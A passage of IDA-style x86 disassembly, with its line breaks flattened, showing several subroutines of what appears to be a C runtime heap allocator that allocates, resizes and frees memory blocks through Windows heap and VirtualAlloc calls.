loc_41EB6D push 3Fh pop esi loc_41EB6D: ; CODE XREF: sub_41E9CB+19Dj cmp esi, edi jz loc_41EC82 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EBDE cmp edi, 20h jge short loc_41EBAD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41EBDB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBAD: ; CODE XREF: sub_41E9CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41EBDB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBDB: ; CODE XREF: sub_41E9CB+1D6j ; sub_41E9CB+203j mov ebx, [ebp+arg_0] loc_41EBDE: ; CODE XREF: sub_41E9CB+1B0j ; sub_41E9CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41EC8E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41EC7F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41EC50 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EC3E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41EC3E: ; CODE XREF: sub_41E9CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41EC7F ; --------------------------------------------------------------------------- loc_41EC50: ; CODE XREF: sub_41E9CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41EC69 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41EC69: ; CODE XREF: sub_41E9CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41EC7F: ; CODE XREF: sub_41E9CB+24Ej ; sub_41E9CB+283j mov ecx, [ebp+var_8] loc_41EC82: ; CODE XREF: sub_41E9CB+1A4j test ecx, ecx jz short loc_41EC91 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41EC91 ; --------------------------------------------------------------------------- loc_41EC8E: ; CODE XREF: sub_41E9CB+229j mov ecx, [ebp+var_8] loc_41EC91: ; CODE XREF: sub_41E9CB+2B9j ; sub_41E9CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41ECC7 cmp ebx, dword_4DF6B4 jnz short loc_41ECC7 mov ecx, [ebp+var_4] cmp ecx, dword_4DF6AC jnz short loc_41ECC7 and dword_4DF6B4, 0 loc_41ECC7: ; CODE XREF: sub_41E9CB+2E0j ; sub_41E9CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41ECCF: ; CODE XREF: sub_41E9CB+F0j pop edi pop esi pop ebx leave retn sub_41E9CB endp ; =============== S U B R O U T I N E ======================================= sub_41ECD4 proc near ; CODE XREF: sub_41E9CB+CCp mov eax, dword_4DF6B8 mov ecx, dword_4DF6A8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41ED17 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DF6BC push edi push dword_4DF6C4 call dword_42819C ; RtlReAllocateHeap cmp eax, edi jz short loc_41ED67 add dword_4DF6A8, 10h mov dword_4DF6BC, eax mov eax, dword_4DF6B8 loc_41ED17: ; CODE XREF: sub_41ECD4+11j mov ecx, dword_4DF6BC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DF6C4 lea esi, [ecx+eax*4] call dword_428148 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_41ED67 push 4 push 2000h push 100000h push edi call dword_4281C8 ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_41ED6B push dword ptr [esi+10h] push edi push dword_4DF6C4 call dword_428144 ; RtlFreeHeap loc_41ED67: ; CODE XREF: sub_41ECD4+30j ; sub_41ECD4+67j xor eax, eax jmp short loc_41ED82 ; --------------------------------------------------------------------------- loc_41ED6B: ; CODE XREF: sub_41ECD4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DF6B8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41ED82: ; CODE XREF: sub_41ECD4+95j pop edi pop esi retn sub_41ECD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED85 proc near ; CODE XREF: sub_41E9CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41ED97: ; CODE XREF: sub_41ED85+19j test eax, eax jl short loc_41EDA0 shl eax, 1 inc ebx jmp short loc_41ED97 ; --------------------------------------------------------------------------- loc_41EDA0: ; CODE XREF: sub_41ED85+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41EDB5: ; CODE XREF: sub_41ED85+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41EDB5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call dword_4281C8 ; VirtualAlloc test eax, eax jnz short loc_41EDE8 or eax, 0FFFFFFFFh jmp loc_41EE7B ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED85+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41EE2E lea eax, [edi+10h] loc_41EDF5: ; CODE XREF: sub_41ED85+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41EDF5 loc_41EE2E: ; CODE XREF: sub_41ED85+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41EE6B or [eax+4], edi loc_41EE6B: ; CODE XREF: sub_41ED85+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41EE7B: ; CODE XREF: sub_41ED85+5Ej pop edi pop esi pop ebx leave retn sub_41ED85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE80 proc near ; CODE XREF: sub_41B9D2+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41F02E test bl, 1 jnz loc_41F027 add ebx, ecx cmp esi, ebx jg loc_41F027 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41EEF7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41EEF7: ; CODE XREF: sub_41EE80+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41EF47 cmp ecx, 20h jnb short loc_41EF23 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41EF47 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41EF47 ; --------------------------------------------------------------------------- loc_41EF23: ; CODE XREF: sub_41EE80+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41EF47 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41EF47: ; CODE XREF: sub_41EE80+7Dj ; sub_41EE80+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41F015 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41EF81 push 3Fh pop edi loc_41EF81: ; CODE XREF: sub_41EE80+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41F003 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41EFDA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EFCD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41EFCD: ; CODE XREF: sub_41EE80+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41EFFF ; --------------------------------------------------------------------------- loc_41EFDA: ; CODE XREF: sub_41EE80+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41EFF0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41EFF0: ; CODE XREF: sub_41EE80+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41EFFF: ; CODE XREF: sub_41EE80+158j shr edx, cl or [eax], edx loc_41F003: ; CODE XREF: sub_41EE80+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41F018 ; --------------------------------------------------------------------------- loc_41F015: ; CODE XREF: sub_41EE80+E5j mov edx, [ebp+arg_4] loc_41F018: ; CODE XREF: sub_41EE80+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41F16E ; --------------------------------------------------------------------------- loc_41F027: ; CODE XREF: sub_41EE80+52j ; sub_41EE80+5Cj xor eax, eax jmp loc_41F171 ; --------------------------------------------------------------------------- loc_41F02E: ; CODE XREF: sub_41EE80+49j jge loc_41F16E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41F059 push 3Fh pop esi loc_41F059: ; CODE XREF: sub_41EE80+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41F0E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F072 push 3Fh pop esi loc_41F072: ; CODE XREF: sub_41EE80+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41F0C1 cmp esi, 20h jnb short loc_41F09D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41F0BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41F0BE ; --------------------------------------------------------------------------- loc_41F09D: ; CODE XREF: sub_41EE80+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41F0BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41F0BE: ; CODE XREF: sub_41EE80+214j ; sub_41EE80+21Bj ... mov ebx, [ebp+arg_4] loc_41F0C1: ; CODE XREF: sub_41EE80+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41F0E8 push 3Fh pop esi loc_41F0E8: ; CODE XREF: sub_41EE80+1DDj ; sub_41EE80+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41F165 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41F13C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F12F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41F12F: ; CODE XREF: sub_41EE80+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41F161 ; --------------------------------------------------------------------------- loc_41F13C: ; CODE XREF: sub_41EE80+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41F152 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41F152: ; CODE XREF: sub_41EE80+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41F161: ; CODE XREF: sub_41EE80+2BAj shr edx, cl or [eax], edx loc_41F165: ; CODE XREF: sub_41EE80+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41F16E: ; CODE XREF: sub_41EE80+1A2j ; sub_41EE80:loc_41F02Ej push 1 pop eax loc_41F171: ; CODE XREF: sub_41EE80+1A9j pop edi pop esi pop ebx leave retn sub_41EE80 endp ; =============== S U B R O U T I N E ======================================= sub_41F176 proc near ; CODE XREF: sub_41E5D2+41p ; sub_41F46E:loc_41F63Dp cmp dword_43CFD0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41F18A mov esi, offset off_43CFC0 jmp short loc_41F1A7 ; --------------------------------------------------------------------------- loc_41F18A: ; CODE XREF: sub_41F176+Bj push 2020h push 0 push dword_4DF6C4 call dword_428148 ; RtlAllocateHeap mov esi, eax test esi, esi jz loc_41F2B3 loc_41F1A7: ; CODE XREF: sub_41F176+12j mov ebp, dword_4281C8 push 4 push 2000h push 400000h push 0 call ebp ; VirtualAlloc mov edi, eax test edi, edi jz loc_41F29C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp ; VirtualAlloc test eax, eax jz loc_41F28E mov eax, offset off_43CFC0 cmp esi, eax jnz short loc_41F206 cmp off_43CFC0, 0 jnz short loc_41F1F6 mov off_43CFC0, eax loc_41F1F6: ; CODE XREF: sub_41F176+79j cmp off_43CFC4, 0 jnz short loc_41F21B mov off_43CFC4, eax jmp short loc_41F21B ; --------------------------------------------------------------------------- loc_41F206: ; CODE XREF: sub_41F176+70j mov [esi], eax mov eax, off_43CFC4 mov [esi+4], eax mov off_43CFC4, esi mov eax, [esi+4] mov [eax], esi loc_41F21B: ; CODE XREF: sub_41F176+87j ; sub_41F176+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41F23D: ; CODE XREF: sub_41F176+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41F23D push ebx push 0 push edi call sub_41BD60 add esp, 0Ch loc_41F266: ; CODE XREF: sub_41F176+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41F28A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41F266 ; --------------------------------------------------------------------------- loc_41F28A: ; CODE XREF: sub_41F176+F7j mov eax, esi jmp short loc_41F2B5 ; --------------------------------------------------------------------------- loc_41F28E: ; CODE XREF: sub_41F176+63j push 8000h push 0 push edi call dword_4281C4 ; VirtualFree loc_41F29C: ; CODE XREF: sub_41F176+4Bj cmp esi, offset off_43CFC0 jz short loc_41F2B3 push esi push 0 push dword_4DF6C4 call dword_428144 ; RtlFreeHeap loc_41F2B3: ; CODE XREF: sub_41F176+2Bj ; sub_41F176+12Cj xor eax, eax loc_41F2B5: ; CODE XREF: sub_41F176+116j pop edi pop esi pop ebp pop ebx retn sub_41F176 endp ; =============== S U B R O U T I N E ======================================= sub_41F2BA proc near ; CODE XREF: sub_41F310+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call dword_4281C4 ; VirtualFree cmp off_43EFE0, esi jnz short loc_41F2DF mov eax, [esi+4] mov off_43EFE0, eax loc_41F2DF: ; CODE XREF: sub_41F2BA+1Bj cmp esi, offset off_43CFC0 jz short loc_41F307 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DF6C4 call dword_428144 ; RtlFreeHeap pop esi retn ; --------------------------------------------------------------------------- loc_41F307: ; CODE XREF: sub_41F2BA+2Bj or dword_43CFD0, 0FFFFFFFFh pop esi retn sub_41F2BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F310 proc near ; CODE XREF: sub_41F429+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43CFC4 push edi loc_41F31D: ; CODE XREF: sub_41F310+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41F3BB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41F336: ; CODE XREF: sub_41F310+72j cmp dword ptr [edi], 0F0h jnz short loc_41F377 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call dword_4281C4 ; VirtualFree test eax, eax jz short loc_41F377 or dword ptr [edi], 0FFFFFFFFh dec dword_4DE0AC mov eax, [esi+0Ch] test eax, eax jz short loc_41F36C cmp eax, edi jbe short loc_41F36F loc_41F36C: ; CODE XREF: sub_41F310+56j mov [esi+0Ch], edi loc_41F36F: ; CODE XREF: sub_41F310+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41F384 loc_41F377: ; CODE XREF: sub_41F310+2Cj ; sub_41F310+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41F336 loc_41F384: ; CODE XREF: sub_41F310+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41F3BB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41F3BB push 1 lea eax, [ecx+20h] pop edx loc_41F39B: ; CODE XREF: sub_41F310+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41F3AC inc edx add eax, 8 cmp edx, 400h jl short loc_41F39B loc_41F3AC: ; CODE XREF: sub_41F310+8Ej cmp edx, 400h jnz short loc_41F3BB push ecx call sub_41F2BA pop ecx loc_41F3BB: ; CODE XREF: sub_41F310+11j ; sub_41F310+7Dj ... cmp esi, off_43CFC4 jz short loc_41F3CD cmp [ebp+arg_0], 0 jg loc_41F31D loc_41F3CD: ; CODE XREF: sub_41F310+B1j pop edi pop esi pop ebx leave retn sub_41F310 endp ; =============== S U B R O U T I N E ======================================= sub_41F3D2 proc near ; CODE XREF: sub_41B881+3Ap ; sub_41B9D2+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43CFC0 push esi mov ecx, edx loc_41F3DE: ; CODE XREF: sub_41F3D2+1Cj cmp eax, [ecx+10h] jbe short loc_41F3E8 cmp eax, [ecx+14h] jb short loc_41F3F0 loc_41F3E8: ; CODE XREF: sub_41F3D2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41F425 jmp short loc_41F3DE ; --------------------------------------------------------------------------- loc_41F3F0: ; CODE XREF: sub_41F3D2+14j test al, 0Fh jnz short loc_41F425 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41F425 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41F425: ; CODE XREF: sub_41F3D2+1Aj ; sub_41F3D2+20j ... xor eax, eax pop esi retn sub_41F3D2 endp ; =============== S U B R O U T I N E ======================================= sub_41F429 proc near ; CODE XREF: sub_41B881+4Dp ; sub_41B9D2+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41F46D inc dword_4DE0AC cmp dword_4DE0AC, 20h jnz short locret_41F46D push 10h call sub_41F310 pop ecx locret_41F46D: ; CODE XREF: sub_41F429+2Bj ; sub_41F429+3Aj retn sub_41F429 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F46E proc near ; CODE XREF: sub_41B9D2+1ACp ; sub_41BCE3+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43EFE0 push edi loc_41F47C: ; CODE XREF: sub_41F46E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41F527 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41F4E1 loc_41F4A7: ; CODE XREF: sub_41F46E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41F4CA cmp [edi+4], ebx jbe short loc_41F4CA push ebx push ecx push eax call sub_41F676 add esp, 0Ch test eax, eax jnz short loc_41F539 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41F4CA: ; CODE XREF: sub_41F46E+40j ; sub_41F46E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41F4A7 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4E1: ; CODE XREF: sub_41F46E+37j mov ebx, [ebp+arg_0] loc_41F4E4: ; CODE XREF: sub_41F46E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F52A loc_41F4F7: ; CODE XREF: sub_41F46E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F516 cmp [edi+4], ebx jbe short loc_41F516 push ebx push eax push [ebp+var_4] call sub_41F676 add esp, 0Ch test eax, eax jnz short loc_41F539 mov [edi+4], ebx loc_41F516: ; CODE XREF: sub_41F46E+8Dj ; sub_41F46E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F4F7 jmp short loc_41F52A ; --------------------------------------------------------------------------- loc_41F527: ; CODE XREF: sub_41F46E+14j mov ebx, [ebp+arg_0] loc_41F52A: ; CODE XREF: sub_41F46E+87j ; sub_41F46E+B7j mov esi, [esi] cmp esi, off_43EFE0 jz short loc_41F549 jmp loc_41F47C ; --------------------------------------------------------------------------- loc_41F539: ; CODE XREF: sub_41F46E+54j ; sub_41F46E+A3j mov off_43EFE0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F671 ; --------------------------------------------------------------------------- loc_41F549: ; CODE XREF: sub_41F46E+C4j mov eax, offset off_43CFC0 mov edi, eax loc_41F550: ; CODE XREF: sub_41F46E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F55C cmp dword ptr [edi+0Ch], 0 jnz short loc_41F568 loc_41F55C: ; CODE XREF: sub_41F46E+E6j mov edi, [edi] cmp edi, eax jz loc_41F63D jmp short loc_41F550 ; --------------------------------------------------------------------------- loc_41F568: ; CODE XREF: sub_41F46E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F597 loc_41F586: ; CODE XREF: sub_41F46E+127j cmp [ebp+var_4], 10h jge short loc_41F597 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F586 loc_41F597: ; CODE XREF: sub_41F46E+116j ; sub_41F46E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_4281C8 ; VirtualAlloc cmp eax, esi jnz loc_41F66F push 0 push [ebp+var_8] push esi call sub_41BD60 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F5FE lea eax, [esi+4] mov [ebp+var_4], edx loc_41F5D4: ; CODE XREF: sub_41F46E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F5D4 loc_41F5FE: ; CODE XREF: sub_41F46E+15Ej mov off_43EFE0, edi lea eax, [edi+2018h] loc_41F60A: ; CODE XREF: sub_41F46E+1A8j cmp ecx, eax jnb short loc_41F61A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F618 add ecx, 8 jmp short loc_41F60A ; --------------------------------------------------------------------------- loc_41F618: ; CODE XREF: sub_41F46E+1A3j cmp ecx, eax loc_41F61A: ; CODE XREF: sub_41F46E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F671 ; --------------------------------------------------------------------------- loc_41F63D: ; CODE XREF: sub_41F46E+F2j call sub_41F176 test eax, eax jz short loc_41F66F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43EFE0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F671 ; --------------------------------------------------------------------------- loc_41F66F: ; CODE XREF: sub_41F46E+143j ; sub_41F46E+1D6j xor eax, eax loc_41F671: ; CODE XREF: sub_41F46E+D6j ; sub_41F46E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F46E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F676 proc near ; CODE XREF: sub_41F46E+4Ap ; sub_41F46E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F6BB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F6AA add [ecx], 